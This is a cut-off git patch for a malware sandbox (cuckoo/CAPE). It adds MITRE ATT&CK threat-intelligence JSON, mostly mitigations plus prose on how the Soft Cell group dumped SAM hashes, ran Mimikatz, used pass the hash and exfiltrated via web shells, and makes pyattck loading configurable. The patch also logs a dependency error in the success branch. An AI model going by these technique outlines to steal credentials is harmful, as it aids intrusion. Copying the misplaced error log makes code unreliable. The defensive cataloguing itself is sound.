"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", + "type": "relationship", + "created": "2019-07-18T21:45:05.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--541884aa-9ee9-4241-b556-c7885c12102b", + "modified": "2019-07-18T21:47:14.942Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.", + "type": "relationship", + "created": "2019-07-19T14:30:22.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f09085f-c1cf-4321-89c4-17d93e774f6f", + "external_references": [ + { + "source_name": "TechNet Scheduling Priority", + "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/dn221960.aspx" + } + ], + "modified": "2019-07-25T19:04:11.617Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.", + "type": "relationship", + "created": "2019-07-19T14:30:22.462Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63c9cdd8-0e64-46dd-9459-3d64828b0cc7", + "external_references": [ + { + "source_name": "TechNet Server Operator Scheduled Task", + "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/jj852168.aspx" + } + ], + "modified": "2019-07-25T19:04:11.616Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.", + "type": "relationship", + "created": "2019-07-19T14:30:22.477Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9d4e8b44-90f8-4a10-8419-8187d4babf24", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "modified": "2019-07-25T19:04:11.637Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.", + "type": "relationship", + "created": "2019-07-19T14:30:22.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d50b715-96a2-4fd6-bf92-603ad90730fd", + "modified": "2019-07-25T19:04:11.639Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "type": "relationship", + "id": "relationship--af1e6f67-b513-42f7-b5df-dfb04b38caf6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-19T14:34:28.783Z", + "modified": "2019-07-19T14:34:28.783Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "type": "relationship", + "id": "relationship--f8bb44c8-d368-4d56-b039-50d6419ab60a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-19T14:35:12.517Z", + "modified": "2019-07-19T14:35:12.517Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n", + "type": "relationship", + "id": "relationship--bb402b5a-2ee4-4031-93a5-dae262794974", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-19T14:35:44.004Z", + "modified": "2019-07-19T14:35:44.004Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "type": "relationship", + "id": "relationship--b433b9bf-2b2e-4ceb-bb5e-aa8e6d099b34", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-19T14:36:10.807Z", + "modified": "2019-07-19T14:36:10.807Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "type": "relationship", + "id": "relationship--f5f3803b-3c9c-4eb9-812b-f0bbc78232ba", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-19T14:36:43.856Z", + "modified": "2019-07-19T14:36:43.856Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "type": "relationship", + "id": "relationship--f9e62f6d-a091-44a9-91e6-3660b89ba2b9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-19T14:37:37.517Z", + "modified": "2019-07-19T14:37:37.517Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.", + "type": "relationship", + "created": "2019-07-19T14:42:04.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e93b22f5-2df4-49d7-bf4b-985919028e4e", + "external_references": [ + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + } + ], + "modified": "2019-07-24T17:34:39.094Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", + "type": "relationship", + "created": "2019-07-19T14:43:31.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2bad46d-7e0c-4b22-9859-172892a2d861", + "modified": "2019-07-19T14:57:15.767Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate.", + "type": "relationship", + "created": "2019-07-19T14:44:30.772Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ad8dd5d-06f6-47b1-874a-8a4e7fc39ba5", + "external_references": [ + { + "source_name": "Wikipedia HPKP", + "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.", + "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning" + } + ], + "modified": "2019-07-19T14:57:15.786Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "For the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation.", + "type": "relationship", + "created": "2019-07-19T14:45:29.007Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6f38033-ddd4-418a-ad70-b1198df67fc3", + "external_references": [ + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + } + ], + "modified": "2019-07-19T14:57:15.798Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Execution Guardrails](https://attack.mitre.org/techniques/T1480) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "type": "relationship", + "created": "2019-07-19T14:59:44.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--20cc9dc5-61ad-4fbb-86da-4861e60b98e4", + "modified": "2019-07-23T14:44:24.818Z", + "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used reg commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.", + "type": "relationship", + "created": "2019-07-19T16:38:05.288Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a28a0a2-8e2f-4c42-b6b0-0ffe3d821528", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.862Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) along with a PowerShell-based [Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials on the victim machines.", + "type": "relationship", + "created": "2019-07-19T16:38:05.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7adea746-109e-41c2-bf48-20e0282038a0", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.901Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used ipconfig /all to obtain information about the victim network configuration. The group also ran a modified version of nbtscan to identify available NetBIOS name servers.", + "type": "relationship", + "created": "2019-07-19T16:38:05.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b10df154-0c2a-4159-ac0a-1bdaa78f56cb", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. 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Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-22T15:49:29.374Z", + "type": "relationship", + "created": "2019-07-19T17:14:24.248Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96db4cd3-0493-4944-b47c-15b7db6f0010", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-22T15:49:29.382Z", + "type": "relationship", + "created": "2019-07-19T17:14:24.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--058ed2a0-4419-437e-9f3b-4df97f917e8f", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) established VPN access into victim environments.", + "type": "relationship", + "created": "2019-07-19T17:27:02.518Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57b4f42b-02e2-4cee-98f0-d6935c1e2c7b", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:29.085Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of nbtscan to identify available NetBIOS name servers over the network as well as ping to identify remote systems.", + "type": "relationship", + "created": "2019-07-19T17:27:02.530Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea71022e-7f2a-4065-9cb1-304f85dbaf6d", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:29.087Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-22T15:49:29.376Z", + "type": "relationship", + "created": "2019-07-19T17:27:02.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a20969e-c201-47cd-ac08-8e1a9c764512", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.", + "type": "relationship", + "id": "relationship--2b631dee-68bd-4ae6-92fc-b3224d471890", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-19T18:55:09.586Z", + "modified": "2019-07-19T18:55:09.586Z", + "source_ref": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) collected data from the victim's local system, including password hashes from the SAM hive in the Registry.", + "type": "relationship", + "created": "2019-07-22T15:35:24.351Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38be247c-74b0-42f3-964e-5f23ef42a353", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:29.092Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used dumped hashes to authenticate to other machines via pass the hash.", + "type": "relationship", + "created": "2019-07-22T15:35:24.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee4d1b24-603f-40df-8f21-3c053fba275f", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:29.090Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) ensured each payload had a unique hash, including by using different types of packers.", + "type": "relationship", + "created": "2019-07-22T15:35:24.376Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--919f6143-eb8c-48cd-8741-118040c372ab", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:29.135Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used Web shells and [HTRAN](https://attack.mitre.org/software/S0040) for C2 as well as to exfiltrate data.", + "type": "relationship", + "created": "2019-07-22T15:49:28.744Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--380743e5-616c-4524-96e6-d545e5b653ea", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "modified": "2019-07-22T15:49:28.744Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1168", + "external_id": "T1168", + "source_name": "mitre-attack" + } + ], + "created": "2018-10-17T00:14:20.652Z", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "course-of-action", + "id": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e", + "name": "Local Job Scheduling Mitigation", + "x_mitre_deprecated": true + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-19T19:38:27.250Z", + "modified": "2019-03-19T19:38:27.250Z", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates", + "type": "relationship", + "id": "relationship--1b1dd4b7-dd4f-4df5-be4b-7e52ba114852", + "source_ref": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates", + "type": "relationship", + "id": "relationship--cfe1e092-57a9-4f7e-ba4a-794bfa797de8", + "source_ref": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e" + } + ] +} \ No newline at end of file diff --git a/lib/cuckoo/common/abstracts.py b/lib/cuckoo/common/abstracts.py index 16067e374..3321322b8 100644 --- a/lib/cuckoo/common/abstracts.py +++ b/lib/cuckoo/common/abstracts.py @@ -35,6 +35,7 @@ from django.core.validators import URLValidator log = logging.getLogger(__name__) +repconf = Config("reporting") try: import libvirt @@ -48,15 +49,19 @@ except ImportError: HAVE_TLDEXTRACT = False -try: - from pyattck import Attck - mitre = Attck() - HAVE_MITRE = True - log.error("Missed pyattck dependency") -except ImportError: +if repconf.mitre.enabled: + try: + from pyattck import Attck + mitre = Attck(os.path.join(CUCKOO_ROOT, repconf.mitre.local_file)) + HAVE_MITRE = True + log.error("Missed pyattck dependency") + except ImportError: + HAVE_MITRE = False +else: HAVE_MITRE = False + myresolver = dns.resolver.Resolver() myresolver.timeout = 5.0 myresolver.lifetime = 5.0 diff --git a/requirements.txt b/requirements.txt index b6f2f6243..f0f7893c6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -52,4 +52,4 @@ gunicorn suricata-update git+https://github.com/doomedraven/sflock.git socks5man -pyattck +git+https://github.com/doomedraven/pyattck From af3dda82d90483988ce5b3fd03801d8a9c113021 Mon Sep 17 00:00:00 2001 From: doomedraven Date: Thu, 5 Sep 2019 19:53:06 +0200 Subject: [PATCH 2/2] Update abstracts.py --- lib/cuckoo/common/abstracts.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/cuckoo/common/abstracts.py b/lib/cuckoo/common/abstracts.py index 3321322b8..109b9ca3f 100644 --- a/lib/cuckoo/common/abstracts.py +++ 